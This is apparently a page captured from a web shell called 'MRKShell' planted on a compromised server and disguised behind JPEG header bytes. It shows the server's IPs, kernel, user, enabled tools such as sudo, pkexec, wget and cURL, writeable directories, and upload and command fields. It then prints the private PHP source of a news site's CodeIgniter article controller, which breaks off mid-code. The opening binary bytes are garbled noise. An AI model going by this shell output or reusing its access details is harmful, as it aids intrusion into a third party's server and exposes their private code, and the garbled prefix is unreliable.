JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/application/controllers/Notas.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Notas extends CI_Controller {

    function __construct() {
        parent::__construct();
        $this->load->model('notas_md');
        $this->load->model('secciones_md');
        $this->load->model('ediciones_md');
        $this->load->model('encuestas_md');

        $this->load->model('nota_md');
        $this->load->model('nota_backup_md');
        $this->load->model('tag_md');
        $this->load->model('relacion_md');
        $this->load->model('relacion_Tag_md');
        $this->load->model('foto_md');
        $this->load->model('notasVisitas_md');
        $this->load->model('video_md');
        $this->load->model('agenda_md');
        $this->load->model('evento_md');
        $this->load->model('encuesta_md');
        /* Permisos */
        $this->data["permisos_efectivos"] = $this->permisos_lib->control();

        $this->user = $this->ion_auth->user()->row();
    }

    function index() {
        $this->data['edicion'] = $this->ediciones_md->getEdicionPublicada();
        $edicion = $this->ediciones_md->getEdicionPublicada();

        $this->data['notas'] = $this->notas_md->getNotasDelDia($edicion['id']);
        $this->data['tags'] = $this->tag_md->getAll();
        $this->data['secciones'] = $this->secciones_md->getAllSecciones();
        $this->data['subsecciones'] = $this->secciones_md->getAllSubSecciones();
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', 'habilitada = 1');

        /* Cambio de Edición de una Nota */
        if ($this->input->post('form_cambiar')) {
            $fecha = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fecha'))));
            $edicion_id = $this->ediciones_md->getEdicionPorFecha($fecha);

            if ($edicion_id != false) {
                $data = array(
                    'edicion_id' => $edicion_id,
                );
                $this->codegen_model->edit('nota', $data, 'id', $this->input->post('notaid'));

                /* AUDITORÍA */
                $ip = $this->input->ip_address();

                if ($ip == "0.0.0.0") {
                    $ip = "unknown";
                }

                $audit = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Modificación de Edición en nota " . $this->input->post('notaid') . " desde tabla de edición " . $edicion_id . " a edicion " . $edicion_id,
                    'operacion_id' => 13,
                    'consulta' => "Nota desde tabla",
                    'objeto_id' => $this->input->post('notaid'),
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit);
                /* FIN AUDITORÍA */

                redirect(base_url() . 'notas/edicion/' . $edicion_id);
            } else {
                redirect(base_url() . 'notas');
            }
        }

        /* Agregar Encuesta a la nota */
        if ($this->input->post('form_encuesta')) {
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Agregado de encuesta en nota " . $this->input->post('notaid') . " desde tabla",
                'operacion_id' => 13,
                'consulta' => "Nota desde tabla",
                'objeto_id' => $this->input->post('notaid'),
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA */

            $data = array(
                'nota_id' => $this->input->post('notaid'),
                'objeto_id' => $this->input->post('encuestaid'),
                'tipo' => 6,
                'orden' => 1,
                'destacado' => 0,
                'descripcion' => "Encuesta relacionada"
            );
            $this->codegen_model->add('relacion', $data);
            redirect(base_url() . 'notas/', 'refresh');
        }

        /* Cambio de Edición */
        if ($this->input->post('form_otraedicion')) {
            $fechaedicion = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechaedicion'))));
            $edicion_id = $this->ediciones_md->getEdicionPorFecha($fechaedicion);

            redirect(base_url() . 'notas/edicion/' . $edicion_id, 'refresh');
        }

        $datos_plantilla["padre"] = ucwords("");
        $datos_plantilla["title"] = ucwords("Notas Del Día");
        $datos_plantilla["contenido_main"] = $this->load->view('components/notas/notas_index', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function add($edi = 0) {
        /* Configuración del CMS */
        $this->data['videon'] = $this->configuracion_md->getVideoN();
        $this->data['contenidop'] = $this->configuracion_md->getContenidoP();
        $this->data['scroll'] = $this->configuracion_md->getScrollI();
        $this->data['vistas'] = $this->configuracion_md->getVistas();
        $this->data['seccionrel'] = $this->configuracion_md->getSecciones();
        $this->data['tags'] = $this->configuracion_md->getTags();
        $this->data['comentarios'] = $this->configuracion_md->getComentarios();
        $this->data['mayores'] = $this->configuracion_md->getMayores();
        $this->data['autor'] = $this->configuracion_md->getAutor();
        $this->data['ocultarportada'] = $this->configuracion_md->getOcultarPortada();
        /* FIN CONFIGURACIÓN */

        $this->data['secciones'] = $this->codegen_model->get('tag', '*', "tipo='Seccion' and padre_id=0");
        $this->data['seccionsub'] = $this->secciones_md->getSeccionSub();
        $this->data['subsecciones'] = $this->secciones_md->getSubsecciones();
        $this->data['periodistas'] = $this->codegen_model->get('autores', '*', "estado = 1");
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', "habilitada = 1");
        $this->data['tag'] = $this->codegen_model->get('tag', '*', "tipo_id = 4");

        if ($edi == 0) {
            $edicion = $this->ediciones_md->getEdicionPublicada();
            $edicion_id = $edicion['id'];
        } else {
            $edicion_id = $edi;
        }


        if ($this->input->post('enviar_form')) {
            /* CONFIGURACIÓN PARA FORMULARIO */
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            /* VIDEO EN NOTA */
            $videon = $this->configuracion_md->getVideoN();
            if ($videon->valor == 1) {
                if ($this->input->post('video_en_nota') == true) {
                    $video_en_nota = 1;
                } else {
                    $video_en_nota = 0;
                }
            } else {
                $video_en_nota = 0;
            }

            /* CONTENIDO PATROCINADO */
            $contenidop = $this->configuracion_md->getContenidoP();
            if ($contenidop->valor == 1) {
                if ($this->input->post('patrocinado') == true) {
                    $patrocinado = 1;
                } else {
                    $patrocinado = 0;
                }
            } else {
                $patrocinado = 0;
            }

            /* SCROLL INACTIVO */
            $scrolli = $this->configuracion_md->getScrollI();
            if ($scrolli->valor == 1) {
                if ($this->input->post('scroll_inactivo') == true) {
                    $scroll = 1;
                } else {
                    $scroll = 0;
                }
            } else {
                $scroll = 0;
            }



            /* COMENTARIOS */
            $comentarios = $this->configuracion_md->getComentarios();
            if ($comentarios->valor == 1) {
                if ($this->input->post('comentarios') == true) {
                    $comentario = 1;
                } else {
                    $comentario = 0;
                }
            } else {
                $comentario = 0;
            }

            /* MAYOR A 18 */
            $mayores = $this->configuracion_md->getMayores();
            if ($mayores->valor == 1) {
                if ($this->input->post('mayores') == true) {
                    $mayores = 1;
                } else {
                    $mayores = 0;
                }
            } else {
                $mayores = 0;
            }

            /* VISTAS */
            $vistas = $this->configuracion_md->getVistas();
            if ($vistas->valor == 1) {
                if ($this->input->post('destacar_video') == true) {
                    $vista = 3;
                } else {
                    $vista = 1;
                }
            } else {
                $vista = 0;
            }

            /* OCULTAR EN PORTADA */
            $ocultarportada = $this->configuracion_md->getOcultarPortada();
            if ($ocultarportada->valor == 1) {
                if ($this->input->post('ocultar_portada') == true) {
                    $ocultarportada = 1;
                } else {
                    $ocultarportada = 0;
                }
            } else {
                $ocultarportada = 0;
            }

            /* AUTOR */
            $autor = $this->configuracion_md->getAutor();
            if ($autor->valor == 1) {
                $periodista = $this->input->post('periodista');
            } else {
                $periodista = 0;
            }
            /* FIN CONFIGURACIÓN PARA FORMULARIO */

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Compruebo si está habilitada
            if ($this->input->post('habilitada') == true) {
                $habilitada = 1;
            } else {
                $habilitada = 0;
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";

            $data = array(
                'edicion_id' => $edicion_id,
                'anteTitulo' => $this->input->post('antetitulo'),
                'titulo' => $this->input->post('titulo'),
                'sumario' => $this->input->post('bajada'),
                'texto' => $texto,
                'habilitada' => $habilitada,
                'fechaAlta' => date('Y-m-d H:i:s', time()),
                'fechamod' => date('Y-m-d H:i:s', time()),
                'video_en_nota' => $video_en_nota,
                'ocultar_portada' => $ocultarportada,
                'patrocinado' => $patrocinado,
                'scroll_inactivo' => $scroll,
                'permisoComent' => $comentario,
                'mayor' => $mayores,
                'id_seccion' => $this->input->post('category_id'),
                'id_subseccion' => $subcategory_id,
                'vista' => $vista,
                'url' => $url,
                'usuario_id' => $this->session->userdata('user_id')
            );
            $nota_id = $this->codegen_model->addReturnID('nota', $data);

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'orden' => 1,
                    'destacado' => 1,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en la nota " . $nota_id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'descripcion' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('video', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en la nota " . $nota_id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* RELACIÓN PERIODISTA */
            if ($periodista != 0) {
                $data_per = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $this->input->post('periodista'),
                    'tipo' => 4,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => "Autor relacionado"
                );
                $this->codegen_model->add('relacion', $data_per);
                /* AUDITORÍA PERIODISTA */
                $audit_per = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Nota id " . $nota_id . " relacionada con el autor id " . $this->input->post('periodista') . " desde formulario",
                    'operacion_id' => 47,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_per);
                /* FIN AUDITORÍA PERIODISTA */
            }
            /* FIN RELACIÓN PERIODISTA */

            /* RELACIÓN ENCUESTA */
            if ($this->input->post('encuesta') != 0) {
                $data_enc = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $this->input->post('encuesta'),
                    'tipo' => 6,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => "Encuesta relacionada"
                );
                $this->codegen_model->add('relacion', $data_enc);
                /* AUDITORÍA ENCUESTA */
                $audit_enc = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Nota id " . $nota_id . " relacionada con la encuesta id " . $this->input->post('encuesta') . " desde formulario",
                    'operacion_id' => 48,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_enc);
                /* FIN AUDITORÍA ENCUESTA */
            }
            /* FIN RELACIÓN ENCUESTA */

            /* RELACIÓN TAGS */
            if ($this->input->post('tags[]') != "") {

                $i = 0;
                foreach ($this->input->post('tags[]') as $tag) {
                    $fullstring = $tag;
                    $tag_key = $this->get_string_between($fullstring, '{"key":"', '",');
                    $tag_value = $this->get_string_between($fullstring, '"value":"', '"}');

                    // Compruebo si existen, sino los creo y los relaciono
                    if ($tag_key != "") {
                        $data_tag = array(
                            'nota_id' => $nota_id,
                            'tag_id' => $tag_key,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $nota_id . " relacionada con el tag id " . $tag_key . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA TAGS */
                    } else {
                        $limpio = $this->varios_lb->limpiarurl($tag_value);
                        $data_nuevotag = array(
                            'nombre' => $tag_value,
                            'tipo' => 'Tag interno',
                            'tipo_id' => 4,
                            'alias' => $limpio,
                        );
                        $nuevotag = $this->codegen_model->addReturnID('tag', $data_nuevotag);
                        /* AUDITORÍA NUEVO TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Se ha creado un nuevo TAG id" . $nuevotag . " con el nombre " . $tag_value . " desde nota",
                            'operacion_id' => 81,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA NUEVO TAGS */

                        $data_tag = array(
                            'nota_id' => $nota_id,
                            'tag_id' => $nuevotag,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $nota_id . " relacionada con el tag id " . $nuevotag . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                    }
                    $i++;
                }
            }
            /* FIN RELACIÓN TAGS */

            /* SECCIONES Si está activa la Config. se guarda la relación */
            $relsec = $this->configuracion_md->getSecciones();
            if ($relsec->valor == 1) {
                $data = array(
                    'nota_id' => $nota_id,
                    'tag_id' => $this->input->post('category_id'),
                    'fechaaud' => date('Y-m-d H:i:s', time()),
                    'tipo' => '5',
                    'orden' => '1'
                );
                $this->codegen_model->add('relacion_tag', $data);
            }
            /* FIN SECCIONES */

            /* AUDITORÍA NOTA */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Alta de la nota " . $nota_id . " desde formulario",
                'operacion_id' => 3,
                'consulta' => "Nota desde formulario",
                'objeto_id' => $nota_id,
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA NOTA */

            /* NOTA EN VISITAS */
            $visitas = array(
                'nota_id' => $nota_id,
            );
            $this->codegen_model->add('nota_visitas', $visitas);
            /* FIN NOTA EN VISITAS */

            $message = array('message' => 'Nota ingresada correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('agregar', $message);

            $this->_recargar_cache($nota_id, $this->input->post('category_id'));

            if ($this->input->post('submit') == "guardar") {
                redirect(base_url() . 'notas/edit/' . $nota_id, 'refresh');
            } elseif ($this->input->post('submit') == "finalizar") {
                if ($edi == 0) {
                    redirect(base_url() . 'notas', 'refresh');
                } else {
                    redirect(base_url() . 'notas/edicion/' . $edicion_id, 'refresh');
                }
            }
        }

        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Agregar Nota");
        $datos_plantilla["contenido_main"] = $this->load->view('components/notas/notas_add', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function edit($id) {
        $this->data['result'] = $this->codegen_model->getEditCMS('nota', $id, 'id');
        $this->data['n_foto'] = $this->notas_md->getNotaFoto($id);
        $this->data['n_video'] = $this->notas_md->getNotaVideo($id);
        $this->data['n_periodista'] = $this->notas_md->getNotaPeriodista($id);
        $n_periodista = $this->notas_md->getNotaPeriodista($id);
        $this->data['n_encuesta'] = $this->notas_md->getNotaEncuesta($id);
        $this->data['n_tag'] = $this->notas_md->getNotaTag($id);
        $this->data['n_relacionadas'] = $this->notas_md->getNotaRelacionadas($id);
        $this->data['e_relacionadas'] = $this->notas_md->getEventoRelacionados($id);

        /* Configuración del CMS */
        $this->data['videon'] = $this->configuracion_md->getVideoN();
        $this->data['contenidop'] = $this->configuracion_md->getContenidoP();
        $this->data['scroll'] = $this->configuracion_md->getScrollI();
        $this->data['vistas'] = $this->configuracion_md->getVistas();
        $this->data['seccionrel'] = $this->configuracion_md->getSecciones();
        $this->data['tags'] = $this->configuracion_md->getTags();
        $this->data['eventos'] = $this->configuracion_md->getEventos();
        $this->data['comentarios'] = $this->configuracion_md->getComentarios();
        $this->data['mayores'] = $this->configuracion_md->getMayores();
        $this->data['autor'] = $this->configuracion_md->getAutor();
        $this->data['ocultarportada'] = $this->configuracion_md->getOcultarPortada();
        /* FIN CONFIGURACIÓN */

        $this->data['secciones'] = $this->codegen_model->get('tag', '*', "tipo='Seccion' and padre_id=0");
        $this->data['seccionsub'] = $this->secciones_md->getSeccionSub();
        $this->data['subsecciones'] = $this->secciones_md->getSubsecciones();
        $this->data['periodistas'] = $this->codegen_model->get('autores', '*', "estado = 1");
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', "habilitada = 1");
        $this->data['tag'] = $this->codegen_model->get('tag', '*', "tipo_id = 4");

        $edicion = $this->ediciones_md->getEdicionPublicada();
        $edicion_hoy = $edicion['id'];
        $nota = $this->codegen_model->getEditCMS('nota', $id, 'id');

        /* Chequo Last Active */
        $ahora = date("YmdHis");
        $chequeo = strtotime('-15 seconds', $ahora);
        if ($nota->lastactive != NULL) {
            $lastactive = explode('_', $nota->lastactive);

            if ($lastactive[0] > $chequeo) {
                $this->data['last_hora'] = 0;
            } else {
                $this->data['last_hora'] = 1;
            }

            if ($lastactive[1] != $this->session->userdata('user_id')) {
                $this->data['last_user'] = 0;
                $this->data['usuario'] = $this->codegen_model->getEditCMS('users', $lastactive[1], 'id');
            } else {
                $this->data['last_user'] = 1;
            }
        } else {
            $this->data['last_hora'] = 1;
            $this->data['last_user'] = 1;
        }
        /* FIN Chequeo */

        if ($nota->edicion_id == $edicion_hoy) {
            $edicion_id = 0;
        } else {
            $edicion_id = $nota->edicion_id;
        }

        if ($this->input->post('form_cambiar')) {
            /* CONFIGURACIÓN PARA FORMULARIO */
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            /* VIDEO EN NOTA */
            $videon = $this->configuracion_md->getVideoN();
            if ($videon->valor == 1) {
                if ($this->input->post('video_en_nota') == true) {
                    $video_en_nota = 1;
                } else {
                    $video_en_nota = 0;
                }
            } else {
                $video_en_nota = 0;
            }

            /* CONTENIDO PATROCINADO */
            $contenidop = $this->configuracion_md->getContenidoP();
            if ($contenidop->valor == 1) {
                if ($this->input->post('patrocinado') == true) {
                    $patrocinado = 1;
                } else {
                    $patrocinado = 0;
                }
            } else {
                $patrocinado = 0;
            }

            /* SCROLL INACTIVO */
            $scrolli = $this->configuracion_md->getScrollI();
            if ($scrolli->valor == 1) {
                if ($this->input->post('scroll_inactivo') == true) {
                    $scroll = 1;
                } else {
                    $scroll = 0;
                }
            } else {
                $scroll = 0;
            }

            /* COMENTARIOS */
            $comentarios = $this->configuracion_md->getComentarios();
            if ($comentarios->valor == 1) {
                if ($this->input->post('comentarios') == true) {
                    $comentario = 1;
                } else {
                    $comentario = 0;
                }
            } else {
                $comentario = 0;
            }

            /* MAYOR A 18 */
            $mayores = $this->configuracion_md->getMayores();
            if ($mayores->valor == 1) {
                if ($this->input->post('mayores') == true) {
                    $mayores = 1;
                } else {
                    $mayores = 0;
                }
            } else {
                $mayores = 0;
            }

            /* VISTAS */
            $vistas = $this->configuracion_md->getVistas();
            if ($vistas->valor == 1) {
                if ($this->input->post('destacar_video') == true) {
                    $vista = 3;
                } else {
                    $vista = 1;
                }
            } else {
                $vista = 0;
            }


            /* OCULTAR EN PORTADA */
            $ocultarportada = $this->configuracion_md->getOcultarPortada();
            if ($ocultarportada->valor == 1) {
                if ($this->input->post('ocultar_portada') == true) {
                    $ocultarportada = 1;
                } else {
                    $ocultarportada = 0;
                }
            } else {
                $ocultarportada = 0;
            }

            /* AUTOR */
            $autores = $this->configuracion_md->getAutor();
            if ($autores->valor == 1) {
                $autor = $this->input->post('periodista');
            } else {
                $autor = 0;
            }
            /* FIN CONFIGURACIÓN PARA FORMULARIO */

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Compruebo si está habilitada
            if ($this->input->post('habilitada') == true) {
                $habilitada = 1;
            } else {
                $habilitada = 0;
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";

            $data = array(
                'anteTitulo' => $this->input->post('antetitulo'),
                'titulo' => $this->input->post('titulo'),
                'sumario' => $this->input->post('bajada'),
                'texto' => $texto,
                'habilitada' => $habilitada,
                'fechamod' => date('Y-m-d H:i:s', time()),
                'video_en_nota' => $video_en_nota,
                'ocultar_portada' => $ocultarportada,
                'patrocinado' => $patrocinado,
                'scroll_inactivo' => $scroll,
                'permisoComent' => $comentario,
                'mayor' => $mayores,
